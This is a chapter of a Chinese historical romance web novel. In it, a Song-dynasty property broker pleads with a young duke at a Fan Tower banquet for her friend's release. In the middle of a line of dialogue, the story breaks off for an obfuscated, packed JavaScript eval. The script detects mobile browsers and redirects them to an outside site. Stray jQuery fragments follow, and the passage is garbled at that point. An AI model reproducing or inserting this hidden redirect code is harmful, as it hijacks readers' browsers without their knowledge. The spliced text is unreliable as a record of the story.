13. 樊楼厢房有意刁难

作品:《我在大宋做房产中介

    且说楼明月在内间卸了钗环脂粉,同林韫一道睡下,林韫惦记着她白日里的戏言,柔声问道:“楼姐姐,你喜欢什么品貌的郎君?”


    楼明月支起半个身子靠着竹枕,将林韫搂在怀里:“怎么忽然问起这事?”


    月光如同一层轻雾笼在她脸上,“我想要的郎君,我说东他不能往西,我说南他不能往北,敬我爱我,知我惜我,温柔忠贞,不得纳妾。”


    “世上有这样的男子么?”


    有么?曾经有的。


    “很少很少而已。”楼明月轻声道,“十七娘,你千万别相信,信了会吃亏的。就算遇上,也得留个心眼。”


    “若是遇不到呢?姐姐又当如何?”


    “若是不到,那我便退而求其次,谁能买下漱园,我就嫁。”


    “贵不贵?”


    林韫发觉自己在明知故问。汴京城的园子,怎么能不贵?如果是在家乡湄州,林家有田有庄还算体面。可在汴京,买间称心的屋子也难。哥哥的心思,她猜到几分,这才旁敲侧击。


    “自然贵,就连它附近的一座二进宅院,我便要赚钱赚二十年,如果运气好,三十岁前能勉强住进去。”


    楼明月伸手放下纱帐:“其实不管能不能买得起,若非我心爱之人,即便家财万贯,强逼我,我也不嫁。你呢?家里可曾给你定亲?”


    林韫红着脸摇头:“未曾。”


    “若有好的,我替你留意,宝珠姐那儿可多了。下次我跟她说,带些男子画像给你瞧。”


    “可以么?”


    “怎么不行?先不论其他,至少要挑个顺眼的。不过,你哥哥高中,来向你求亲的人家也必不会少。”


    次日,楼明月在街边碰见位不速之客,他骑在马上,甚是得意:“你妹妹如今在我家里,你可上我家里玩去。”


    见楼明月不信,薛昂又道:“我何必诓你?我问叔叔要她不是什么难事。”


    他威胁:“你不准报官,否则我把你妹妹送得远远的,让你和她永远见不了面。”


    薛昂说完策马而行,也不等楼明月反应。


    忽一傍晚,玉宇琼楼收到一封信,落款卫杏雪,说她如今在英国公府,让楼明月救她。


    楼明月看了,信上确是卫杏雪的笔迹,她怎么又去了英国公府?杏雪从来要强,很少诉苦,更别提将伤疤示人。


    世家大族,要一个人销声匿迹很容易,楼明月因薛昂所言,不敢轻举妄动。


    她对这位小公爷本就无甚好印象,又想起曾经某位大人的家宅阴私,人命关天,当下带了些果脯糕饼,去李婆子家中打探消息。


    李婆子一面收下东西,一面差小丫头上茶,“娘子何必破费。”


    她猜出楼明月来意,知无不言:“杏雪姑娘去了国公府,她一个小娘子,心里真是有好大的主意,我老婆子头回见。也不知她和公子说了什么,也不知她和少夫人说了什么,两位祖宗鸣金收兵,我们侯府自此家宅安宁。杏雪姑娘被五公子看上,自愿跟人走了。”


    自愿?


    楼明月悄声道:“这薛家五郎,可曾苛待下人?”


    李婆子变了脸色:“五公子脾气古怪,很有些痴气。苛待下人我老婆子倒没听过。不过别府内宅之事,外人谁又晓得?”


    对面是国公府,寻郑参军未必有用。楼明月从卧房妆台匣中拿出一枚玉佩,租车赶去了郊外的一处庄子。


    昔年,楼明月意外救了庄子的主人秦老板一命。那位秦老板身份不俗,赠她玉佩,许以承诺,假使楼明月有难,可找他帮忙。


    当日秦老板说了,除不能起死回生,天下事没有他办不了的。所以这条路,楼明月轻易不走。


    那庄子的管事出来接待:“娘子来得不巧,我家大官人去了江陵府,最快也要半年后才回来。娘子有何难处?不若说了,在下替您想想办法。或者我修书一封,快马加鞭差人送至我们大官人处。”


    秦老板不在,山高路远,时间紧迫,楼明月向管事道谢,决定另寻他法。


    ***


    是夜,新月如眉,天上没有一丝云影,樊楼上下灯火通明,人声鼎沸。


    五楼雅间,薛昂身边的小厮认得楼明月,将她放了进去。转过隔屏,八仙桌旁锦衣华服,镂花窗边调丝弄竹。


    “民女不请自来,望小公爷恕罪。”


    “哟,小公爷,哪里来的风流债?都找上门了。我怎么瞧她眼熟?”


    “何印,吃你的酒去,尽多嘴多舌。”薛昂转着手上的白玉扳指,问她:“你找我什么事?”


    楼明月行礼道:“小公爷,不知要怎样您才能高抬贵手,放过我妹妹?”


    “原来为这事。”


    “小公爷大人大量。”


    “小公爷大人有大量是小公爷的事。”何印忽望向楼明月,笑不及眼底,“求人还高高在上?总该拿出些诚意。”


    “你给我们唱一词,说不准小公爷听得高兴就答应了。”坐在何印右手边的绿衣公子看热闹不嫌事大。


    一旁抱着琵琶的歌妓面露不忍,秀眉微蹙,拦道:“奴家和诸位姐妹在此,公子们却还想找别的人唱,奴家可万万不依。”


    梳着坠髻的黄衫女子将酒杯递至绿衣公子嘴边,娇笑道:“香云姐姐说得极是,李公子,传出去岂不让人家笑话我们招待不周?”


    另个细长眼睛的青年哈哈笑道:“香云娘子,你所吟唱的乃是天籁之音,某些凡俗女子恐怕连你的手指头也比不上。”


    薛昂搛了块蟹肉扔进嘴里:“我才不要听她唱。”


    “小公爷说不唱,那就不唱。”


    绿衣公子眼珠一转,又想出个法子,他点点桌面,觑了薛昂脸色道:“给我们斟酒,把人哄得开心了,自然什么都好说。”


    楼明月拿起酒壶,给薛昂斟酒,“小公爷,请。”


    黄衫歌妓轻轻巧巧夺过酒壶:“这位娘子倒酒的功夫可没我好。”


    “迎儿,别胡闹。”绿衣公子捏住她的肩,将人按在怀里,“这可不是你卖乖的时候。”


    楼明月斟了一圈酒,柔声下气道:“但求小公爷发发慈悲。”


    “等等。”薛昂改了条件,“一万贯,把你妹妹带走。”


    除开玉宇琼楼,这些年她攒下的身家,手头上现有的也不过五千贯。


    “小女子一时半会儿拿不出这么多银钱,还请小公爷多宽限些时日。”


    楼明月区区一个房牙,居然拿得出万贯家财?实在出人意表。薛昂更没料到她会舍得花大钱替卫杏雪赎身。


    他玩性大发,斜睨着楼明月道:“钱是不必了,你和她换,她出府,你进府,如何?”


    何印晃着酒杯道:“以人换人,这可是一桩合算的买卖。”


    “小公爷说笑,民女不敢肖想。”


    薛昂歪头:“怎么?我还以


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950725|160919||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    为你很看重她呢。”


    何印又在旁煽风点火:“你不想换,那就给我们小公爷跪下,磕三个响头,我们小公爷就不计前嫌,重新考虑考虑,大家说是不是?”


    那几个公子哥随即笑着附和:“对,重新考虑考虑。”


    楼明月:“此话当真?”


    一时众人都去看薛昂。


    “当真,只要你跪下求我。”


    楼明月跪天跪地跪父母,却没跪过旁人。本朝百姓见官若无特殊只需作揖,就连官家出巡也不需跪迎。他们这些纨绔子弟算什么,要她行此大礼?


    还有这个何印,几次三番刁难,她哪里得罪他了?何,何家?


    辛老板!


    害得辛老板舍家抛业的也姓何,何印难道是何家人,因为辛家的事记恨她了么?她于何家,分明蝼蚁而已。


    男儿膝下有黄金,女儿膝下也有黄金,无权无势的人膝下什么都没有,但也不是砧板上的鱼肉,任人宰割。


    跪可以,不能白跪。


    “好。”楼明月作势曲膝,实则思量着桌上哪只碗碟响动最大。


    要闹,索性闹得大些,闹得人尽皆知,闹得薛家不得不放人。


    楼明月特意挑的今日,众目睽睽之下,薛昂至少顾及国公府的脸面名声,不会太过乱来。


    假使有意外,只要屋内有杯盏破碎之声传出,吉祥便立即去找颂、隅二人陈情;若是听见两声,五福、阿喜便会谎称樊楼走水,金永趁乱闯入相救。


    楼明月从林韫处得知,林颂和欧阳隅参加的宴会乃是工部侍郎苏亭之子苏易,苏简之做东。苏家和王家不睦坊间早有传闻,多一笔少一笔没差。横竖已经得罪了薛昂,她只好冒险,以小博大,以期借力打力。


    脂粉香气入鼻,楼明月侧目,却是香云娘子撇了琵琶来扶,凤仙花蔻丹在烛火下艳丽生光。


    她笑若烟雨朦胧:“良宵苦短,诸位公子何必浪费在不值当的事上,奴家谱了新曲,还未曾给外人听过。”


    何印冷声道:“不急。”


    楼明月心内感激,悄悄握住香云娘子的手掌,将事先写好的纸条趁机塞入她手中,“无妨。”


    这纸条,乃是她多手准备,所写内容不过“去二楼舒窈间寻欧阳举人,楼明月有难”。欧阳隅性子直率,必定二话不说赶来。


    香云娘子掩唇轻咳,黄衫女子忙道:“姐姐累了,容奴家带她去更衣,片刻即回。”


    “只要我跪了,就让我见她,是不是?”楼明月又问一遍。


    “啰嗦什么?”有人催促。


    “可否借酒一饮?”她拖延时间。


    美酒入喉,甘冽醇厚,楼明月饮尽,将酒碗猛地摔在地上。


    不多时,有人闯入,楼明月立时跪下:“求小公爷放我妹妹一条生路。”


    “不知楼娘子哪里得罪了小公爷?”


    身后传来林颂的声音,楼明月一抬头,他已然半蹲于她身旁。


    “有没有事?”


    “又是你?”薛昂瞪了眼林颂,“苏简之,你来凑什么热闹?我说他怎么这么倒人胃口,原来是你的朋友。”


    为首的公子剑眉星目,长身玉立。他淡笑道:“小公爷,给苏某一个薄面,有什么误会之处,大家坐下来分说端由,化干戈为玉帛如何?”


    “呸,你何时在我这里有面子了?”


    “简之兄,何必与他们多言。”